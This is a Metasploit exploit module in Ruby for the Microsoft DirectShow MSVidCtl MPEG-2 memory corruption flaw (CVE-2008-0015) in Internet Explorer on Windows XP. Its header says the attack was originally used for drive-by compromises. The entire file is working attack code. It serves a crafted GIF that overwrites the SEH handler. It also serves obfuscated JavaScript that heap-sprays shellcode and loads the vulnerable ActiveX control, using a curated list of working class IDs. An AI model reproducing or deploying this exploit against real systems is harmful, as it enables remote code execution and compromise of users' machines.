233 lines
8.4 KiB
Ruby
233 lines
8.4 KiB
Ruby
##
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# msvidctl_mpeg2.rb
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#
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# Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework
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#
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# Tested successfully on the following platforms (fully patched 06/07/09):
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# - Internet Explorer 6, Windows XP SP2
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# - Internet Explorer 7, Windows XP SP3
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#
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# Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites.
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# The original exploit can be found here (shellcode changed to execute calc.exe):
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# http://www.rec-sec.com/exploits/aa.rar
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#
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# Trancer
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# http://www.rec-sec.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption',
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'Description' => %q{
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This module exploits a memory corruption within the MSVidCtl component of Microsoft
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DirectShow (BDATuner.MPEG2TuneRequest).
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By loading a specially crafted GIF file, an attacker can overrun a buffer and
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execute arbitrary code.
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ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-0015' ],
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[ 'OSVDB', '55651' ],
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[ 'BID', '35558' ],
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[ 'MSB', 'MS09-037' ],
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[ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
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],
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'DisclosureDate' => 'Jul 05 2009',
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'DefaultTarget' => 0))
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register_advanced_options(
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[
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OptString.new('ClassID', [ false, "Specific ClassID to use (otherwise randomized)", nil ]),
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], self.class)
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@javascript_encode_key = rand_text_alpha(rand(10) + 10)
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end
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def on_request_uri(cli, request)
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if (request.uri.match(/\.gif$/i))
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print_status("Sending GIF to #{cli.peerhost}:#{cli.peerport}...")
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gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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gif << "\xFF\xFF\xFF\xFF" # End of SEH chain
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gif << [target.ret].pack('V') # SE Handler
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gif << "\x00"
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send_response(cli, gif, { 'Content-Type' => 'image/gif' })
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return
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end
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if (!request.uri.match(/\?\w+/))
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send_local_redirect(cli, "?#{@javascript_encode_key}")
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return
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end
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print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Class IDs
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allclsids = [ # all IDs from the advisory
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"011B3619-FE63-4814-8A84-15A194CE9CE3", # doesn't work
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"0149EEDF-D08F-4142-8D73-D23903D21E90", # doesn't work
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"0369B4E5-45B6-11D3-B650-00C04F79498E", # works
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"0369B4E6-45B6-11D3-B650-00C04F79498E", # works
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"055CB2D7-2969-45CD-914B-76890722F112", # works
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"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works
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"15D6504A-5494-499C-886C-973C9E53B9F1", # works
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"1BE49F30-0E1B-11D3-9D8E-00C04F72D980", # doesn't work
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"1C15D484-911D-11D2-B632-00C04F79498E", # doesn't work
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"1DF7D126-4050-47F0-A7CF-4C4CA9241333", # doesn't work
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"2C63E4EB-4CEA-41B8-919C-E947EA19A77C", # doesn't work
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"334125C0-77E5-11D3-B653-00C04F79498E", # doesn't work
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"37B0353C-A4C8-11D2-B634-00C04F79498E", # doesn't work
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"37B03543-A4C8-11D2-B634-00C04F79498E", # doesn't work
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"37B03544-A4C8-11D2-B634-00C04F79498E", # doesn't work
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"418008F3-CF67-4668-9628-10DC52BE1D08", # doesn't work
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"4A5869CF-929D-4040-AE03-FCAFC5B9CD42", # doesn't work
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"577FAA18-4518-445E-8F70-1473F8CF4BA4", # doesn't work
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"59DC47A8-116C-11D3-9D8E-00C04F72D980", # works
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"7F9CB14D-48E4-43B6-9346-1AEBC39C64D3", # doesn't work
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"823535A0-0318-11D3-9D8E-00C04F72D980", # doesn't work
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"8872FF1B-98FA-4D7A-8D93-C9F1055F85BB", # doesn't work
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"8A674B4C-1F63-11D3-B64C-00C04F79498E", # works
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"8A674B4D-1F63-11D3-B64C-00C04F79498E", # works
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"9CD64701-BDF3-4D14-8E03-F12983D86664", # doesn't work
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"9E77AAC4-35E5-42A1-BDC2-8F3FF399847C", # doesn't work
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"A1A2B1C4-0E3A-11D3-9D8E-00C04F72D980", # doesn't work
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"A2E3074E-6C3D-11D3-B653-00C04F79498E", # doesn't work
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"A2E30750-6C3D-11D3-B653-00C04F79498E", # works
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"A8DCF3D5-0780-4EF4-8A83-2CFFAACB8ACE", # doesn't work
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"AD8E510D-217F-409B-8076-29C5E73B98E8", # doesn't work
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"B0EDF163-910A-11D2-B632-00C04F79498E", # doesn't work
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"B64016F3-C9A2-4066-96F0-BD9563314726", # works
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"BB530C63-D9DF-4B49-9439-63453962E598", # doesn't work
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"C531D9FD-9685-4028-8B68-6E1232079F1E", # doesn't work
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"C5702CCC-9B79-11D3-B654-00C04F79498E", # doesn't work
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"C5702CCD-9B79-11D3-B654-00C04F79498E", # doesn't work
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"C5702CCE-9B79-11D3-B654-00C04F79498E", # doesn't work
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"C5702CCF-9B79-11D3-B654-00C04F79498E", # doesn't work
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"C5702CD0-9B79-11D3-B654-00C04F79498E", # doesn't work
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"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works
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"CAAFDD83-CEFC-4E3D-BA03-175F17A24F91", # doesn't work
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"D02AAC50-027E-11D3-9D8E-00C04F72D980", # doesn't work
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"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works
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"FA7C375B-66A7-4280-879D-FD459C84BB02", # doesn't work
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]
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clsids = [ # these all work
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"0369B4E5-45B6-11D3-B650-00C04F79498E", # works
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"0369B4E6-45B6-11D3-B650-00C04F79498E", # works
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"055CB2D7-2969-45CD-914B-76890722F112", # works
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"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works
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"15D6504A-5494-499C-886C-973C9E53B9F1", # works
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"59DC47A8-116C-11D3-9D8E-00C04F72D980", # works
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"8A674B4C-1F63-11D3-B64C-00C04F79498E", # works
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"8A674B4D-1F63-11D3-B64C-00C04F79498E", # works
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"A2E30750-6C3D-11D3-B653-00C04F79498E", # works
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"B64016F3-C9A2-4066-96F0-BD9563314726", # works
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"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works
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"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works
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]
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classid = datastore['ClassID'] || clsids[rand(clsids.size)]
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape([target.ret].pack('V'))
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blocksize = 0x40000
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fillto = 500
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# Randomize the javascript variable names
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msvidctl = rand_text_alpha(rand(100) + 1)
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div = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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host = Rex::Socket.source_address(cli.peerhost) + ":" + datastore["SRVPORT"]
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gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}"
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if ("/" == get_resource[-1,1])
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gif_uri << get_resource[0, get_resource.length - 1]
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else
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gif_uri << get_resource
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end
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gif_uri << "/" + Time.now.to_i.to_s + ".gif"
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js = %Q|#{j_shellcode}=unescape('#{shellcode}');
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#{j_nops}=unescape('#{nops}');
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#{j_headersize}=20;
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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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#{j_memory}=new Array();
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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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var #{msvidctl}=document.createElement('object');
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#{div}.appendChild(#{msvidctl});
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#{msvidctl}.width='1';
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#{msvidctl}.height='1';
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#{msvidctl}.data='#{gif_uri}';
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#{msvidctl}.classid='clsid:#{classid}';|
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js_encoded = encrypt_js(js, @javascript_encode_key)
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html = %Q|<html>
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<body>
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<div id="#{div}">
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<script>
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#{js_encoded}
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</script>
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</body>
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</html>|
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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end
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